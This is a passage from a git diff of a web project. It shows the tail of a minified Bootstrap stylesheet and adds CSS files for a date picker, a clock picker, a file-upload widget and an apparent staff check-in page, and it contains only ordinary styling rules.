portant}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-n1{margin:-.25rem!important}.mt-sm-n1,.my-sm-n1{margin-top:-.25rem!important}.mr-sm-n1,.mx-sm-n1{margin-right:-.25rem!important}.mb-sm-n1,.my-sm-n1{margin-bottom:-.25rem!important}.ml-sm-n1,.mx-sm-n1{margin-left:-.25rem!important}.m-sm-n2{margin:-.5rem!important}.mt-sm-n2,.my-sm-n2{margin-top:-.5rem!important}.mr-sm-n2,.mx-sm-n2{margin-right:-.5rem!important}.mb-sm-n2,.my-sm-n2{margin-bottom:-.5rem!important}.ml-sm-n2,.mx-sm-n2{margin-left:-.5rem!important}.m-sm-n3{margin:-1rem!important}.mt-sm-n3,.my-sm-n3{margin-top:-1rem!important}.mr-sm-n3,.mx-sm-n3{margin-right:-1rem!important}.mb-sm-n3,.my-sm-n3{margin-bottom:-1rem!important}.ml-sm-n3,.mx-sm-n3{margin-left:-1rem!important}.m-sm-n4{margin:-1.5rem!important}.mt-sm-n4,.my-sm-n4{margin-top:-1.5rem!important}.mr-sm-n4,.mx-sm-n4{margin-right:-1.5rem!important}.mb-sm-n4,.my-sm-n4{margin-bottom:-1.5rem!important}.ml-sm-n4,.mx-sm-n4{margin-left:-1.5rem!important}.m-sm-n5{margin:-3rem!important}.mt-sm-n5,.my-sm-n5{margin-top:-3rem!important}.mr-sm-n5,.mx-sm-n5{margin-right:-3rem!important}.mb-sm-n5,.my-sm-n5{margin-bottom:-3rem!important}.ml-sm-n5,.mx-sm-n5{margin-left:-3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-n1{margin:-.25rem!important}.mt-md-n1,.my-md-n1{margin-top:-.25rem!important}.mr-md-n1,.mx-md-n1{margin-right:-.25rem!important}.mb-md-n1,.my-md-n1{margin-bottom:-.25rem!important}.ml-md-n1,.mx-md-n1{margin-left:-.25rem!important}.m-md-n2{margin:-.5rem!important}.mt-md-n2,.my-md-n2{margin-top:-.5rem!important}.mr-md-n2,.mx-md-n2{margin-right:-.5rem!important}.mb-md-n2,.my-md-n2{margin-bottom:-.5rem!important}.ml-md-n2,.mx-md-n2{margin-left:-.5rem!important}.m-md-n3{margin:-1rem!important}.mt-md-n3,.my-md-n3{margin-top:-1rem!important}.mr-md-n3,.mx-md-n3{margin-right:-1rem!important}.mb-md-n3,.my-md-n3{margin-bottom:-1rem!important}.ml-md-n3,.mx-md-n3{margin-left:-1rem!important}.m-md-n4{margin:-1.5rem!important}.mt-md-n4,.my-md-n4{margin-top:-1.5rem!important}.mr-md-n4,.mx-md-n4{margin-right:-1.5rem!important}.mb-md-n4,.my-md-n4{margin-bottom:-1.5rem!important}.ml-md-n4,.mx-md-n4{margin-left:-1.5rem!important}.m-md-n5{margin:-3rem!important}.mt-md-n5,.my-md-n5{margin-top:-3rem!important}.mr-md-n5,.mx-md-n5{margin-right:-3rem!important}.mb-md-n5,.my-md-n5{margin-bottom:-3rem!important}.ml-md-n5,.mx-md-n5{margin-left:-3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-n1{margin:-.25rem!important}.mt-lg-n1,.my-lg-n1{margin-top:-.25rem!important}.mr-lg-n1,.mx-lg-n1{margin-right:-.25rem!important}.mb-lg-n1,.my-lg-n1{margin-bottom:-.25rem!important}.ml-lg-n1,.mx-lg-n1{margin-left:-.25rem!important}.m-lg-n2{margin:-.5rem!important}.mt-lg-n2,.my-lg-n2{margin-top:-.5rem!important}.mr-lg-n2,.mx-lg-n2{margin-right:-.5rem!important}.mb-lg-n2,.my-lg-n2{margin-bottom:-.5rem!important}.ml-lg-n2,.mx-lg-n2{margin-left:-.5rem!important}.m-lg-n3{margin:-1rem!important}.mt-lg-n3,.my-lg-n3{margin-top:-1rem!important}.mr-lg-n3,.mx-lg-n3{margin-right:-1rem!important}.mb-lg-n3,.my-lg-n3{margin-bottom:-1rem!important}.ml-lg-n3,.mx-lg-n3{margin-left:-1rem!important}.m-lg-n4{margin:-1.5rem!important}.mt-lg-n4,.my-lg-n4{margin-top:-1.5rem!important}.mr-lg-n4,.mx-lg-n4{margin-right:-1.5rem!important}.mb-lg-n4,.my-lg-n4{margin-bottom:-1.5rem!important}.ml-lg-n4,.mx-lg-n4{margin-left:-1.5rem!important}.m-lg-n5{margin:-3rem!important}.mt-lg-n5,.my-lg-n5{margin-top:-3rem!important}.mr-lg-n5,.mx-lg-n5{margin-right:-3rem!important}.mb-lg-n5,.my-lg-n5{margin-bottom:-3rem!important}.ml-lg-n5,.mx-lg-n5{margin-left:-3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-n1{margin:-.25rem!important}.mt-xl-n1,.my-xl-n1{margin-top:-.25rem!important}.mr-xl-n1,.mx-xl-n1{margin-right:-.25rem!important}.mb-xl-n1,.my-xl-n1{margin-bottom:-.25rem!important}.ml-xl-n1,.mx-xl-n1{margin-left:-.25rem!important}.m-xl-n2{margin:-.5rem!important}.mt-xl-n2,.my-xl-n2{margin-top:-.5rem!important}.mr-xl-n2,.mx-xl-n2{margin-right:-.5rem!important}.mb-xl-n2,.my-xl-n2{margin-bottom:-.5rem!important}.ml-xl-n2,.mx-xl-n2{margin-left:-.5rem!important}.m-xl-n3{margin:-1rem!important}.mt-xl-n3,.my-xl-n3{margin-top:-1rem!important}.mr-xl-n3,.mx-xl-n3{margin-right:-1rem!important}.mb-xl-n3,.my-xl-n3{margin-bottom:-1rem!important}.ml-xl-n3,.mx-xl-n3{margin-left:-1rem!important}.m-xl-n4{margin:-1.5rem!important}.mt-xl-n4,.my-xl-n4{margin-top:-1.5rem!important}.mr-xl-n4,.mx-xl-n4{margin-right:-1.5rem!important}.mb-xl-n4,.my-xl-n4{margin-bottom:-1.5rem!important}.ml-xl-n4,.mx-xl-n4{margin-left:-1.5rem!important}.m-xl-n5{margin:-3rem!important}.mt-xl-n5,.my-xl-n5{margin-top:-3rem!important}.mr-xl-n5,.mx-xl-n5{margin-right:-3rem!important}.mb-xl-n5,.my-xl-n5{margin-bottom:-3rem!important}.ml-xl-n5,.mx-xl-n5{margin-left:-3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:auto;content:"";background-color:rgba(0,0,0,0)}.text-monospace{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace!important}.text-justify{text-align:justify!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-lighter{font-weight:lighter!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-weight-bolder{font-weight:bolder!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#001d68!important}a.text-primary:focus,a.text-primary:hover{color:#00081c!important}.text-secondary{color:#001d68!important}a.text-secondary:focus,a.text-secondary:hover{color:#00081c!important}.text-success{color:#393!important}a.text-success:focus,a.text-success:hover{color:#206020!important}.text-info{color:#969696!important}a.text-info:focus,a.text-info:hover{color:#707070!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#ba8b00!important}.text-danger{color:#d21034!important}a.text-danger:focus,a.text-danger:hover{color:#8b0b22!important}.text-light{color:#f7f7f7!important}a.text-light:focus,a.text-light:hover{color:#d1d1d1!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#121416!important}.text-body{color:#001d68!important}.text-muted{color:#969696!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.text-decoration-none{text-decoration:none!important}.text-break{word-wrap:break-word!important}.text-reset{color:inherit!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,::after,::before{text-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#dee2e6}.table .thead-dark th{color:inherit;border-color:#dee2e6}} \ No newline at end of file diff --git a/css/calendar.css b/css/calendar.css new file mode 100644 index 0000000..398325a --- /dev/null +++ b/css/calendar.css @@ -0,0 +1,39 @@ +/* +Colores de date picker +*/ +.ui-widget-header{ background-color:#f0f0f0;} +/*.ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default, .ui-button, html .ui-button.ui-state-disabled:hover, html .ui-button.ui-state-disabled:active { + border: 1px solid #c5c5c5; background: #f7f7f8; +}*/ +.ui-state-highlight, .ui-widget-content .ui-state-highlight, .ui-widget-header .ui-state-highlight { background: #d21034; color: #fff;} +.ui-state-active, .ui-widget-content .ui-state-active, .ui-widget-header .ui-state-active, a.ui-button:active, .ui-button:active, .ui-button.ui-state-active:hover { + border: 1px solid #ffffff; background: #001d68; color:white!important; +} + + +/* Month Picker */ +/* +.month-picker-previous .ui-icon-circle-triangle-w { + display: inline-block; + -webkit-transform: rotate(90deg); + -moz-transform: rotate(90deg); + -o-transform: rotate(90deg); +} +.month-picker-previous .ui-icon-circle-triangle-w:before { + font-family: "ingfont"; + content: '\e90b'; +} +.month-picker-next .ui-icon-circle-triangle-e { + display: inline-block; + -webkit-transform: rotate(-90deg); + -moz-transform: rotate(-90deg); + -o-transform: rotate(-90deg); +} +.month-picker-next .ui-icon-circle-triangle-e:before { + font-family: "ingfont"; + content: '\e90b'; +}*/ +.month-picker-year-table .ui-button { + color: #001D68 !important; +} + diff --git a/css/checador.css b/css/checador.css new file mode 100644 index 0000000..e54abd2 --- /dev/null +++ b/css/checador.css @@ -0,0 +1,46 @@ + +body { + font-family: 'indivisa-text'; + /*background-image: linear-gradient(rgba(0,29,104, 0.3), rgba(0,29,104, 0.3)), url('../imagenes/fondochecador.png');*/ + background-image: url('../imagenes/fondochecador.jpg'); + background-repeat: no-repeat; + background-attachment: fixed; + background-size: cover; + background-position: center; + height: 100%; + overflow: hidden; +} + +.hora{font-size: 4rem; border-right: 2px solid #d21034; line-height: 1.1; padding-bottom: 8px;} +.fecha{font-size: 1.9rem; line-height: 1.2em; } +.facultad{font-size: 1.5rem; font-weight: bold; color: #aaa;} +.checa-box{width:800px; min-height: 380px; -webkit-box-shadow: 0px 0px 5px 1px rgba(150,150,150,0.2); -moz-box-shadow: 0px 0px 5px 1px rgba(150,150,150,0.2); box-shadow: 0px 0px 5px 1px rgba(150,150,150,0.2);} + +h1, h2, h3 {letter-spacing: 1px; position: relative; color: #001e61;} +.subtitle:before{ content: ''; position: absolute; bottom: -8px; left: 0; width: 80px; display: block; background: #d21034; height: 3px; } + +.text-big{font-size:3.6rem;} +#list-result{font-size:1.15rem;} +#list-result li{margin:0.2em 0; border-bottom: 1px dashed #969696;} + +.text-clave{ outline: none; color: #b7b7b7 !important; background: transparent; border: 1px solid #dbdcdd; border-radius: 5px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; font-size: 12px; font-weight: 300; vertical-align: middle; text-align:center; padding: 10px 20px;} +.text-clave:focus{ color: #001d68 !important; border-color: #001d68;} +.sin-servicio, .text-clave{font-size:1.7rem;} +.aviso{ font-size:120%;} +.mensaje{ font-size: 7vh; } + +@media (max-width: 768px) { + .hora{ font-size: 3.2rem;} + .fecha{font-size: 1.4rem;} + .checa-box{width:100%;} + .text-big{font-size:3rem;} + .sin-servicio, .text-clave{font-size:1.2rem;} +} +@media (max-width: 576px) { + .hora{font-size: 2rem !important;} + .fecha, .titulo{font-size: 1rem;} + #logo{width: 75%;} + .facultad{font-size: 1.2rem} + .text-big{font-size:2.8rem;} + +} diff --git a/css/cif-icons-20xy.png b/css/cif-icons-20xy.png new file mode 100644 index 0000000..266cf03 Binary files /dev/null and b/css/cif-icons-20xy.png differ diff --git a/css/clockpicker.css b/css/clockpicker.css new file mode 100644 index 0000000..770b173 --- /dev/null +++ b/css/clockpicker.css @@ -0,0 +1,143 @@ +/*! + * ClockPicker v{package.version} for Bootstrap (http://weareoutman.github.io/clockpicker/) + * Copyright 2014 Wang Shenwei. + * Licensed under MIT (https://github.com/weareoutman/clockpicker/blob/gh-pages/LICENSE) + */ + +.clockpicker .input-group-addon { + cursor: pointer; +} +.clockpicker-moving { + cursor: move; +} + +.clockpicker-popover .popover-title { + background: #D6D8DB; + color: #777777; + font-size: 1.5rem; + line-height: 2rem; + text-align: center; +} +.clockpicker-popover .popover-title span { + cursor: pointer; +} +.clockpicker-popover .popover-content { + padding: 0.5rem; +} +.popover-content:last-child { + border-bottom-left-radius: 5px; + border-bottom-right-radius: 5px; +} +.clockpicker-plate { + background-color: #EFEFEF; + border-radius: 50%; + width: 200px; + height: 200px; + overflow: visible; + position: relative; + /* Disable text selection highlighting. Thanks to Hermanya */ + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.clockpicker-canvas, +.clockpicker-dial { + width: 200px; + height: 200px; + position: absolute; + left: -1px; + top: -1px; +} +.clockpicker-minutes { + visibility: hidden; +} +.clockpicker-tick { + border-radius: 50%; + color: #777777; + line-height: 1.5rem; + text-align: center; + width: 1.5rem; + height: 1.5rem; + position: absolute; + cursor: pointer; +} +.clockpicker-tick.active{ + color: #FFFFFF; +} +.clockpicker-tick:hover { + background-color: #D6D8DB; +} +.clockpicker-button { + background-image: none; + background-color: #fff; + border-width: 1px 0 0; + border-top-left-radius: 0; + border-top-right-radius: 0; + margin: 0; + padding: 10px 0; +} +.clockpicker-button:hover { + background-image: none; + background-color: #ebebeb; +} +.clockpicker-button:focus { + outline: none!important; +} +.clockpicker-dial { + -webkit-transition: -webkit-transform 350ms, opacity 350ms; + -moz-transition: -moz-transform 350ms, opacity 350ms; + -ms-transition: -ms-transform 350ms, opacity 350ms; + -o-transition: -o-transform 350ms, opacity 350ms; + transition: transform 350ms, opacity 350ms; +} +.clockpicker-dial-out { + opacity: 0; +} +.clockpicker-hours.clockpicker-dial-out { + -webkit-transform: scale(1.2, 1.2); + -moz-transform: scale(1.2, 1.2); + -ms-transform: scale(1.2, 1.2); + -o-transform: scale(1.2, 1.2); + transform: scale(1.2, 1.2); +} +.clockpicker-minutes.clockpicker-dial-out { + -webkit-transform: scale(.8, .8); + -moz-transform: scale(.8, .8); + -ms-transform: scale(.8, .8); + -o-transform: scale(.8, .8); + transform: scale(.8, .8); +} +.clockpicker-canvas { + -webkit-transition: opacity 175ms; + -moz-transition: opacity 175ms; + -ms-transition: opacity 175ms; + -o-transition: opacity 175ms; + transition: opacity 175ms; +} +.clockpicker-canvas-out { + opacity: 0.25; +} +.clockpicker-canvas-bearing, +.clockpicker-canvas-fg { + stroke: none; + fill: #006094; +} +.clockpicker-canvas-bg { + stroke: none; + fill: #006094; +} +.clockpicker-canvas-bg-trans { + fill: rgba(0, 96, 148, 0.25); +} +.clockpicker-canvas line { + stroke: #006094; + stroke-width: 1; + stroke-linecap: round; + /*shape-rendering: crispEdges;*/ +} +.clock[readonly]{ + background-color: transparent; +} diff --git a/css/custominputfile.min.css b/css/custominputfile.min.css new file mode 100644 index 0000000..d460119 --- /dev/null +++ b/css/custominputfile.min.css @@ -0,0 +1,10 @@ +/* + jQuery Custom Input File Plugin - version 1.0 + Copyright 2014, Ángel Espro, www.aesolucionesweb.com.ar, + Licence : GNU General Public License + + Site: www.aesolucionesweb.com.ar/plugins/custom-input-file + + You must not remove these lines. Read gpl.txt for further legal information. +*/ +.cif-file-picker{position:relative;width:380px;height:180px;padding:0;border:4px dashed rgba(0,0,0,.2);display:table-cell;vertical-align:middle;text-align:center;opacity:.5;box-sizing:border-box;-moz-box-sizing:border-box}.cif-icon-picker{background:url(cif-icons-20xy.png) 0 0 no-repeat;width:80px;height:60px;display:inline-block}.cif-file-picker h3{margin:0;font-size:20px;text-align:center}.cif-file-picker p{margin:0 0 10px 0;font-size:16px;text-align:center}.cif-file-picker:hover{opacity:1}.cif-file-picker.dragover:not(.inactive){border-color:#46be5e;opacity:1;box-shadow:0 0 50px rgba(0,0,0,.5)}.cif-file-picker.inactive{opacity:.2}.cif-file-picker.inactive.dragover{cursor:pointer}.cif-parent{position:relative;margin-bottom:10px}.foto-file-row .field-wr-int{position:relative}.cif-close{opacity:.5;text-indent:-100000px;width:14px;height:14px;cursor:default;color:#555;background:url(cif-icons-20xy.png) 0px -60px no-repeat}.cif-file-container.cif-type-image .cif-close{top:0px;left:0px;position:absolute}.cif-close:hover{opacity:1}.cif-file-container.cif-container-all-type .cif-file-row{margin:10px 0}.cif-file-container.cif-container-all-type .cif-parent{max-width:380px;box-sizing:border-box;-moz-box-sizing:border-box;padding:10px 10px 10px 30px;border:1px solid #dfdfdf;background:#F4F4F4}.cif-file-container.cif-container-all-type 